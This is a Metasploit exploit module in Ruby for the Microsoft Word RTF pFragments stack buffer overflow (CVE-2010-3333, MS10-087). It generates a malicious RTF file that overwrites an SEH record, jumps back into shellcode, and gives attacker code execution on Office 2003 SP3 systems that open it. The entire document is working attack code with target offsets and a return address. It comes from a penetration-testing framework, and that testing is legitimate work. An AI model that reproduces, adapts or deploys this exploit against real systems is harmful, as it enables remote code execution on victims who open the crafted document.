Microsoft Word RTF pFragments Stack Buffer Overflow

`##  
# $Id: ms10_087_rtf_pfragments_bof.rb 11450 2010-12-29 20:30:50Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in the handling of the  
'pFragments' shape property within the Microsoft Word RTF parser. All versions  
of Microsoft Office prior to the release of the MS10-087 bulletin are vulnerable.  
  
This module does not attempt to exploit the vulnerability via Microsoft Outlook.  
  
The Microsoft Word RTF parser was only used by default in versions of Microsoft   
Word itself prior to Office 2007. With the release of Office 2007, Microsoft  
began using the Word RTF parser, by default, to handle rich-text messages within  
Outlook as well. It was possible to configure Outlook 2003 and earlier to use  
the Microsoft Word engine too, but it was not a default setting.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'wushi of team509', # original discovery  
'unknown', # exploit found in the wild  
'jduck' # Metasploit module  
],  
'Version' => '$Revision: 11450 $',  
'References' =>  
[  
[ 'CVE', '2010-3333' ],  
[ 'OSVDB', '69085' ],  
[ 'MSB', 'MS10-087' ],  
[ 'BID', '44652' ],  
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x00",  
'DisableNops' => true # no need  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Office v11.8307.8324, winword.exe v11.0.8307.0  
[ 'Microsoft Office 2003 SP3 English on Windows XP SP3 English',  
{  
'Offsets' => [ 24536, 51112 ],  
'Ret' => 0x300294e7 # p/p/r in winword.exe  
}  
],  
  
# In order to exploit this bug on Office 2007, a SafeSEH bypass method is needed.  
=begin  
# Office v12.0.6425.1000, winword.exe v12.0.6425.1000  
[ 'Microsoft Office 2007 SP2 English on Windows XP SP3 English',  
{  
'Offsets' => [ 5912 ],  
'Ret' => 0x30001ceb # p/p/r in winword.exe  
}  
],  
=end  
  
# crash on a deref path to heaven.  
[ 'Crash Target for Debugging',  
{  
'Offsets' => [ 65535 ],  
'Ret' => 0xdac0ffee  
}  
]  
],  
'DisclosureDate' => 'Nov 09 2010'))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.rtf']),  
], self.class)  
end  
  
def exploit  
  
offsets = target['Offsets']  
  
# Prepare a sample SEH frame  
seh = generate_seh_record(target.ret)  
  
# Prepare a sample backward jump  
distance = offsets.max  
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string  
  
# RTF property Array parameters  
el_size = sz_rand()  
el_count = sz_rand()  
  
data = ''  
# These words are presumably incorrectly used  
# assert(amount1 <= amount2)  
data << [0x1111].pack('v') * 2  
data << [0xc8ac].pack('v')  
data << [0x1111].pack('v') * 22  
  
# Filler  
if target.name =~ /Debug/i  
rest = Rex::Text.pattern_create(offsets.max + seh.length + jmp_back.length)  
else  
rest = rand_text(offsets.max + seh.length + jmp_back.length)  
end  
  
# Add the payload  
rest[0, payload.encoded.length] = payload.encoded  
  
# Fill in the seh frames  
offsets.each { |off|  
rest[off, seh.length] = seh  
distance = off + seh.length  
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string  
rest[off + seh.length, jmp_back.length] = jmp_back  
}  
  
sploit = "%d;%d;" % [el_size, el_count]  
sploit << data.unpack('H*').first  
sploit << rest.unpack('H*').first  
  
content = "{\\rtf1"  
content << "{\\shp" # shape  
content << "{\\sp" # shape property  
content << "{\\sn pFragments}" # property name  
content << "{\\sv #{sploit}}" # property value  
content << "}"  
content << "}"  
content << "}"  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(content)  
  
end  
  
def sz_rand  
bad_sizes = [ 0, 2, 4, 8 ]  
x = rand(9)  
while bad_sizes.include? x  
x = rand(9)  
end  
x  
end  
  
end  
`